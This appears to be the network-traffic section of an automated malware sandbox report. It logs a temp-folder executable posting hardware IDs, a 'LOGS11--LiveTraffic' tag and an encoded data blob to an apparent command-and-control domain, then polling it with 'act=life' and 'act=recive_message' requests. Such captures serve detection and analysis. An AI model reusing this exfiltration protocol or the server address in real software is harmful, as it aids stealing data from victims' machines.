2024-12-10 04:10:35 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2edtopru6h20rjomrrddqeb1d1; expires=Fri, 04-Apr-2025 21:57:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jNg3DnyGFm%2F2dVUE8UxfFLox%2BiClMz93gb4AUATbhBOhivOekszjp7AJcXHybmBHU0Ld4GTzinFol5cz7MR8BgQFNsr2cv%2BXVqlX4YaCEwak3RV8123re86miZ3LYjf7A0cgo80%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa62d1fe2f1819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1492&min_rtt=1485&rtt_var=572&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16025&delivery_rate=1886304&cwnd=215&unsent_bytes=0&cid=3b0db9a95f347966&ts=943&x=0"
2024-12-10 04:10:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:10:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49906	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D68Y7RRV03H9O5WU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20561 Host: atten-supporse.biz
2024-12-10 04:10:37 UTC	15331	OUT	Data Raw: 2d 2d 44 36 38 59 37 52 52 56 30 33 48 39 4f 35 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 44 36 38 59 37 52 52 56 30 33 48 39 4f 35 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 44 36 38 59 37 52 52 56 30 33 48 39 4f 35 57 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --D68Y7RRV03H9O5WUContent-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--D68Y7RRV03H9O5WUContent-Disposition: form-data; name="pid"3--D68Y7RRV03H9O5WUContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-10 04:10:37 UTC	5230	OUT	Data Raw: 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-12-10 04:10:38 UTC	1024	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pp5v65u3c81f9sr34a3qg2qj13; expires=Fri, 04-Apr-2025 21:57:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1coQJU4O%2FoPGtg45dQbLdOiwalOU8UaHlI9lxD17aT5rp3vHuBDo1jTz0VRWK2M52KCzj5yw8rbOEysL3Y68faDeDvmKYL4VdHq%2BnSl1Cz469pJl%2FB9Z5f%2BfYutk%2BITj568VqI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa62e2bdff42b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1598&rtt_var=608&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21523&delivery_rate=1788120&cwnd=212&unsent_bytes=0&cid=2f6b14a2ba5a3ceb&ts=1043&x=0"
2024-12-10 04:10:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:10:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49913	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:41 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6SSSX4E9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1215 Host: atten-supporse.biz
2024-12-10 04:10:41 UTC	1215	OUT	Data Raw: 2d 2d 36 53 53 53 58 34 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 36 53 53 53 58 34 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 53 53 53 58 34 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 53 53 53 58 34 45 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --6SSSX4E9Content-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--6SSSX4E9Content-Disposition: form-data; name="pid"1--6SSSX4E9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6SSSX4E9Content-Di
2024-12-10 04:10:42 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f9pilrqnat798a06l3c34d019e; expires=Fri, 04-Apr-2025 21:57:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d4IU2ZIfvTnutuWDB4p04B0FDglVUFYJdX9ECKNtIg6xlwT%2BIoh2zpf1mcWw%2FLwFenMA6HQynSMlU%2FEn6BrfLSScIXRpphkt6sRu7ML5gnu6xBJ9%2BCxS6gh6FoEyIPvxD7Oys3c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa62f99ec51819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1452&rtt_var=594&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2124&delivery_rate=1766485&cwnd=215&unsent_bytes=0&cid=7558defe50a642f6&ts=759&x=0"
2024-12-10 04:10:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:10:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49915	104.21.64.1	443	2576	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:42 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 04:10:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 04:10:43 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lgt0nd5ldspvrds7c76v9r17kl; expires=Fri, 04-Apr-2025 21:57:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Opb%2BzKOnnGIdNfoqnnhQkoOUEeaToEeHnJkt%2Fj3RbZ7QIl29E3uDwCcOmDX9c2hK7WMi8G7U1HbFSzwgzwVwz1Hy100gTy14%2BakX3r3uef95pdnTV6L2CCXDwxbmFvqUc31VdhI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa6301ae211819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1472&min_rtt=1450&rtt_var=588&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1793611&cwnd=215&unsent_bytes=0&cid=ac54cd0d63e13b06&ts=926&x=0"
2024-12-10 04:10:43 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 04:10:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49934	104.21.64.1	443	2576	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 04:10:45 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 04:10:46 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gbs0hgnmm8uvre7j22gujjd0f6; expires=Fri, 04-Apr-2025 21:57:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0uZM7%2F6nUQ2X3ynybB2MEY%2BiOb7vSeIkbYzMCTHqzzR7zap3Jh1CvMMC7aI3vwBHddjpiWwBCqd%2FxT71%2FUZVCB0MSL7SPnNf4UrMc2rAmgP0%2F2Sfh9oNR5HnsCvhE0wFc%2Bw8uxk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa631329bd8cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2013&min_rtt=1992&rtt_var=790&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1349353&cwnd=204&unsent_bytes=0&cid=3f656dfc8e036c16&ts=760&x=0"
2024-12-10 04:10:46 UTC	348	IN	Data Raw: 34 65 30 0d 0a 77 68 31 6f 73 33 35 41 33 6d 77 64 72 4d 36 77 54 44 6a 79 61 61 67 6d 49 6c 72 31 30 79 38 7a 4f 54 54 77 32 75 6f 50 35 37 53 35 50 78 36 52 52 48 54 79 54 6d 37 4a 37 49 6f 34 53 6f 63 4d 68 41 52 44 50 74 66 70 53 56 4a 56 52 35 58 32 79 48 6d 4b 6c 76 68 37 43 64 38 4e 4a 66 4a 4f 65 4e 54 73 69 68 64 44 30 41 7a 47 42 42 68 34 6b 4c 6c 4e 55 6c 56 57 6b 62 47 46 66 34 76 58 71 6e 45 50 32 78 73 6a 75 67 31 78 77 61 76 56 4b 56 6d 59 42 38 46 4c 53 6a 66 58 2f 77 31 57 51 78 62 4b 2b 4b 64 71 6b 39 57 50 66 42 76 59 58 44 33 79 46 7a 2f 4a 6f 4a 4a 32 47 70 4d 4d 79 6b 70 45 50 70 36 37 52 31 74 64 56 35 53 77 6d 6d 61 42 33 4b 70 2f 44 4e 6f 52 4b 71 34 41 65 38 61 67 30 79 4e 5a 30 45 57 4b 51 31 68 34 7a 2f 45 65 59 31 68 48 67 36 Data Ascii: 4e0wh1os35A3mwdrM6wTDjyaagmIlr10y8zOTTw2uoP57S5Px6RRHTyTm7J7Io4SocMhARDPtfpSVJVR5X2yHmKlvh7Cd8NJfJOeNTsihdD0AzGBBh4kLlNUlVWkbGFf4vXqnEP2xsjug1xwavVKVmYB8FLSjfX/w1WQxbK+Kdqk9WPfBvYXD3yFz/JoJJ2GpMMykpEPp67R1tdV5SwmmaB3Kp/DNoRKq4Ae8ag0yNZ0EWKQ1h4z/EeY1hHg6
2024-12-10 04:10:46 UTC	907	IN	Data Raw: 2f 44 4e 38 64 4c 37 77 63 64 38 57 6e 31 7a 78 52 6d 51 62 48 52 45 30 79 6d 4c 4a 4e 56 6c 46 63 6e 62 4b 4d 59 49 6a 51 6f 48 39 4b 6e 31 77 6c 70 45 34 6e 6a 6f 2f 58 50 6c 32 63 48 59 68 2b 41 43 66 5a 71 41 31 57 56 78 62 4b 2b 49 42 6f 68 74 57 72 63 41 6e 5a 46 7a 43 38 48 48 6e 44 71 63 41 6f 58 35 34 42 79 56 5a 4b 4e 70 47 79 52 46 70 53 55 35 57 38 79 43 50 46 30 62 67 2f 55 70 45 39 4c 37 63 43 64 64 6d 73 6b 6a 45 55 69 55 76 4e 53 41 42 67 31 37 56 4d 56 56 70 53 6e 4c 61 4d 59 59 50 59 72 58 41 4d 32 78 77 6c 74 67 5a 33 7a 36 48 5a 49 56 71 56 42 73 35 43 54 44 6d 53 38 51 4d 52 58 45 37 53 34 4d 68 44 67 74 57 79 50 54 2f 53 45 69 79 37 47 44 2f 52 34 73 74 75 58 5a 78 4c 6b 67 52 4f 50 5a 69 6a 54 45 4e 65 57 49 43 30 6a 57 75 49 31 61 Data Ascii: /DN8dL7wcd8Wn1zxRmQbHRE0ymLJNVlFcnbKMYIjQoH9Kn1wlpE4njo/XPl2cHYh+ACfZqA1WVxbK+IBohtWrcAnZFzC8HHnDqcAoX54ByVZKNpGyRFpSU5W8yCPF0bg/UpE9L7cCddmskjEUiUvNSABg17VMVVpSnLaMYYPYrXAM2xwltgZ3z6HZIVqVBs5CTDmS8QMRXE7S4MhDgtWyPT/SEiy7GD/R4stuXZxLkgROPZijTENeWIC0jWuI1a
2024-12-10 04:10:46 UTC	1369	IN	Data Raw: 34 34 33 63 0d 0a 64 63 61 6b 30 69 4e 62 6d 77 50 4d 53 55 73 33 6d 4c 5a 46 55 6c 64 54 6e 37 76 49 49 38 58 52 75 44 39 53 6b 54 6b 73 76 78 39 75 6a 4a 6e 52 49 46 53 58 48 59 70 62 44 69 48 58 74 6b 45 52 41 78 61 59 76 34 39 70 69 4e 79 6a 65 77 37 63 45 79 75 31 42 32 33 45 6f 4e 77 38 56 35 6f 4f 78 45 68 46 4e 35 65 77 54 46 39 52 58 64 4c 32 79 47 71 64 6c 76 67 2f 4a 64 77 4d 4d 4c 59 46 62 6f 79 5a 30 53 42 55 6c 78 32 4b 57 77 34 68 31 37 5a 42 45 51 4d 57 6d 62 36 45 59 59 58 51 73 6e 45 46 77 78 59 77 75 41 42 37 77 71 4c 62 49 31 57 56 47 63 35 45 55 6a 6d 53 74 6b 4e 63 53 56 50 53 39 73 68 71 6e 5a 62 34 50 7a 44 6c 47 7a 4b 74 43 54 33 37 72 39 77 67 58 59 5a 4c 31 51 70 5a 65 4a 43 39 44 51 6b 62 56 5a 36 31 67 57 69 4b 78 4b 70 7a 43 Data Ascii: 443cdcak0iNbmwPMSUs3mLZFUldTn7vII8XRuD9SkTksvx9ujJnRIFSXHYpbDiHXtkERAxaYv49piNyjew7cEyu1B23EoNw8V5oOxEhFN5ewTF9RXdL2yGqdlvg/JdwMMLYFboyZ0SBUlx2KWw4h17ZBEQMWmb6EYYXQsnEFwxYwuAB7wqLbI1WVGc5EUjmStkNcSVPS9shqnZb4PzDlGzKtCT37r9wgXYZL1QpZeJC9DQkbVZ61gWiKxKpzC
2024-12-10 04:10:46 UTC	1369	IN	Data Raw: 35 41 48 76 45 71 64 59 69 55 4a 41 4f 32 45 78 47 50 35 75 35 53 46 35 64 55 35 2b 2f 67 32 36 58 78 4b 4e 37 42 4e 31 63 62 50 77 4a 5a 34 37 30 6b 67 74 4e 6b 78 76 4d 52 77 41 6e 32 61 67 4e 56 6c 63 57 79 76 69 49 59 34 6e 64 70 33 51 42 31 52 67 69 73 51 56 78 77 4b 58 65 4a 6c 61 58 47 63 64 42 53 44 4b 65 74 45 46 63 57 45 53 52 75 63 67 6a 78 64 47 34 50 31 4b 52 4f 78 47 4c 4c 54 2f 52 34 73 74 75 58 5a 78 4c 6b 67 52 42 4d 4a 43 2f 53 55 4e 56 52 4a 79 2f 69 47 75 4e 33 71 64 7a 42 4e 38 4f 4b 72 30 4f 63 63 47 6b 32 79 70 62 6c 41 2f 47 51 77 42 32 31 37 5a 56 45 51 4d 57 75 72 75 53 64 38 66 34 71 33 38 4e 77 51 6f 35 2f 42 45 78 31 2b 7a 56 49 68 72 49 53 38 35 50 53 6a 47 55 75 45 6c 63 57 31 2b 64 73 59 42 67 6a 63 53 68 64 52 6a 56 47 53 Data Ascii: 5AHvEqdYiUJAO2ExGP5u5SF5dU5+/g26XxKN7BN1cbPwJZ470kgtNkxvMRwAn2agNVlcWyviIY4ndp3QB1RgisQVxwKXeJlaXGcdBSDKetEFcWESRucgjxdG4P1KROxGLLT/R4stuXZxLkgRBMJC/SUNVRJy/iGuN3qdzBN8OKr0OccGk2ypblA/GQwB217ZVEQMWuruSd8f4q38NwQo5/BEx1+zVIhrIS85PSjGUuElcW1+dsYBgjcShdRjVGS
2024-12-10 04:10:46 UTC	1369	IN	Data Raw: 7a 61 54 66 4c 56 4b 43 43 38 64 45 55 69 71 52 75 6b 4d 52 46 52 61 56 6f 4d 67 31 78 65 65 33 64 45 72 4f 55 6a 76 38 43 58 4f 4f 39 4a 49 74 55 4a 30 46 32 45 42 47 4d 35 53 2f 52 56 52 54 55 70 69 31 68 32 61 50 33 36 68 2f 42 64 51 55 4b 62 6f 41 66 73 69 67 33 32 34 55 30 41 7a 53 42 42 68 34 73 4b 74 41 56 30 78 48 70 37 2b 49 50 4d 58 4a 37 6d 5a 4b 31 68 42 69 35 45 35 79 77 71 62 66 4b 31 36 59 44 4d 6c 46 54 44 79 61 76 45 6c 59 58 31 4f 41 71 6f 35 6a 68 64 6d 75 63 41 62 44 45 69 65 38 41 6a 2b 41 37 4e 55 32 47 73 68 4c 2b 31 4e 41 65 49 6a 2f 56 42 46 63 57 74 4c 67 79 47 4b 49 78 4b 78 77 43 74 41 66 4a 72 63 4a 65 63 69 74 30 53 74 5a 6c 51 33 4c 52 45 77 79 6b 4c 6c 48 58 31 5a 51 6c 72 36 4f 4c 63 75 57 70 32 64 4b 69 56 77 51 73 51 42 Data Ascii: zaTfLVKCC8dEUiqRukMRFRaVoMg1xee3dErOUjv8CXOO9JItUJ0F2EBGM5S/RVRTUpi1h2aP36h/BdQUKboAfsig324U0AzSBBh4sKtAV0xHp7+IPMXJ7mZK1hBi5E5ywqbfK16YDMlFTDyavElYX1OAqo5jhdmucAbDEie8Aj+A7NU2GshL+1NAeIj/VBFcWtLgyGKIxKxwCtAfJrcJecit0StZlQ3LREwykLlHX1ZQlr6OLcuWp2dKiVwQsQB
2024-12-10 04:10:46 UTC	1369	IN	Data Raw: 69 46 64 6d 41 54 4f 52 45 39 34 32 66 46 4b 53 52 73 4f 30 70 69 44 65 36 54 59 71 32 31 4b 7a 6c 49 37 2f 41 6c 7a 6a 76 53 53 49 46 4f 52 41 38 52 49 53 44 79 46 73 55 5a 59 56 46 65 64 75 49 74 73 6a 39 36 79 65 51 72 61 46 43 57 30 43 6e 48 63 72 64 31 75 46 4e 41 4d 30 67 51 59 65 4b 61 6e 53 6c 5a 55 46 4c 75 2f 6b 32 79 50 31 61 74 7a 53 73 35 53 4f 2f 77 4a 63 34 37 30 6b 69 4e 57 6e 51 2f 59 53 45 41 34 6e 72 5a 48 51 31 52 5a 6e 37 75 49 61 4a 66 58 73 6e 41 42 31 42 38 6d 73 77 46 7a 78 71 61 53 59 42 71 58 45 34 6f 63 41 42 53 55 6f 45 63 54 66 45 79 45 76 34 52 38 6a 74 75 73 50 78 57 66 42 57 4b 37 41 6a 2b 57 37 4e 49 76 56 34 49 4f 79 30 35 4b 4e 5a 2b 2b 53 46 52 55 55 70 61 7a 68 6e 2b 4c 32 61 42 35 41 64 41 5a 49 62 63 45 63 63 65 2b Data Ascii: iFdmATORE942fFKSRsO0piDe6TYq21KzlI7/AlzjvSSIFORA8RISDyFsUZYVFeduItsj96yeQraFCW0CnHcrd1uFNAM0gQYeKanSlZUFLu/k2yP1atzSs5SO/wJc470kiNWnQ/YSEA4nrZHQ1RZn7uIaJfXsnAB1B8mswFzxqaSYBqXE4ocABSUoEcTfEyEv4R8jtusPxWfBWK7Aj+W7NIvV4IOy05KNZ++SFRUUpazhn+L2aB5AdAZIbcEcce+
2024-12-10 04:10:46 UTC	1369	IN	Data Raw: 55 44 79 55 46 46 4d 70 75 39 54 46 6c 53 58 4a 65 39 6a 6d 65 47 32 4b 39 2b 42 74 55 56 4c 4c 56 4f 4d 59 36 72 79 6d 34 43 30 44 33 61 51 31 67 31 68 2f 4e 2f 55 6b 70 48 68 37 57 59 61 38 66 35 6f 33 4d 4a 31 42 73 79 2f 42 45 78 31 2b 7a 56 49 68 72 49 53 38 70 41 54 44 75 51 76 30 4a 63 56 46 47 5a 74 34 4a 6a 6c 39 6d 6c 64 77 62 5a 45 54 43 32 42 47 33 48 70 64 38 67 55 6f 49 49 69 67 6f 41 50 34 2f 78 46 52 46 70 58 4a 47 30 6e 6d 43 4b 6c 72 38 78 45 35 45 62 4c 76 78 57 50 39 79 2b 30 69 56 61 6c 77 58 59 52 55 67 33 6e 62 46 4c 57 6c 46 56 6d 37 79 47 5a 49 50 58 72 58 34 4c 30 52 6b 69 74 52 78 79 6a 75 4b 53 4b 55 4c 51 55 34 70 7a 54 44 4f 6d 73 6c 73 52 52 42 69 4c 2b 49 39 68 78 59 37 67 66 68 6a 63 46 43 61 38 41 33 6e 46 72 64 4d 74 57 Data Ascii: UDyUFFMpu9TFlSXJe9jmeG2K9+BtUVLLVOMY6rym4C0D3aQ1g1h/N/UkpHh7WYa8f5o3MJ1Bsy/BEx1+zVIhrIS8pATDuQv0JcVFGZt4Jjl9mldwbZETC2BG3Hpd8gUoIIigoAP4/xFRFpXJG0nmCKlr8xE5EbLvxWP9y+0iValwXYRUg3nbFLWlFVm7yGZIPXrX4L0RkitRxyjuKSKULQU4pzTDOmslsRRBiL+I9hxY7gfhjcFCa8A3nFrdMtW
2024-12-10 04:10:46 UTC	1369	IN	Data Raw: 45 47 48 6a 51 73 6c 39 44 58 56 57 45 75 38 39 54 75 2f 61 72 61 51 76 63 46 79 36 43 4d 47 72 4e 6f 74 77 70 54 49 46 4c 68 41 52 50 65 4d 2b 49 44 52 6b 62 61 64 7a 34 6b 43 33 64 6c 70 56 38 42 4e 38 62 4e 4b 31 44 58 38 57 36 30 79 4e 52 6e 45 6e 4c 53 56 41 2f 31 2f 38 4e 56 78 73 4f 77 76 62 49 61 5a 53 57 2b 43 39 59 69 6b 6c 78 36 31 34 74 30 65 4c 4c 62 6b 7a 51 55 35 67 4b 41 43 72 58 36 51 30 57 57 45 53 41 76 6f 74 37 68 70 47 65 51 53 72 61 45 43 47 77 44 33 69 4f 34 70 49 68 47 73 67 79 69 6b 64 53 4b 74 69 67 57 31 78 4c 55 64 36 77 6d 57 43 4a 6c 75 34 2f 52 74 55 58 4c 72 6b 4a 62 34 47 2b 77 69 56 57 68 6b 66 4f 56 67 42 32 31 36 42 47 58 6b 6c 59 6c 66 65 5a 65 34 6a 47 6f 33 6f 4e 6e 52 51 7a 73 51 49 2f 67 4f 7a 48 4a 56 61 57 42 74 Data Ascii: EGHjQsl9DXVWEu89Tu/araQvcFy6CMGrNotwpTIFLhARPeM+IDRkbadz4kC3dlpV8BN8bNK1DX8W60yNRnEnLSVA/1/8NVxsOwvbIaZSW+C9Yiklx614t0eLLbkzQU5gKACrX6Q0WWESAvot7hpGeQSraECGwD3iO4pIhGsgyikdSKtigW1xLUd6wmWCJlu4/RtUXLrkJb4G+wiVWhkfOVgB216BGXklYlfeZe4jGo3oNnRQzsQI/gOzHJVaWBt
2024-12-10 04:10:46 UTC	1369	IN	Data Raw: 33 2f 31 63 51 6c 56 64 68 4c 2f 49 55 73 75 57 75 44 39 53 6b 53 6b 68 73 67 42 34 32 4c 32 66 43 46 6d 58 44 63 6c 4b 56 79 6e 58 2f 77 31 58 47 77 37 41 39 73 68 70 6c 4a 62 34 4c 31 69 4b 53 58 48 72 58 69 33 52 34 73 74 75 54 4e 42 54 6d 51 6f 41 4b 74 66 70 44 52 5a 56 57 35 4f 37 68 6d 36 58 78 4b 5a 38 48 4e 4a 62 48 49 49 72 63 73 4f 70 33 43 6c 6b 72 69 72 41 56 45 30 33 6b 49 39 7a 5a 6b 70 52 67 76 71 75 62 70 50 56 34 44 46 4b 79 56 78 36 2f 43 39 31 33 71 48 64 4b 52 72 65 53 38 34 45 47 48 69 79 76 45 42 55 56 56 48 51 6d 59 4a 39 69 4e 6d 6e 50 30 53 52 45 47 4c 6b 54 6e 37 45 76 4e 38 68 58 64 77 4d 30 45 4d 41 64 74 65 2f 44 51 6b 62 56 35 69 6f 68 57 4b 43 6d 71 5a 78 42 4a 45 44 62 4b 56 4f 61 59 37 30 67 57 41 61 67 6b 75 53 42 41 63 Data Ascii: 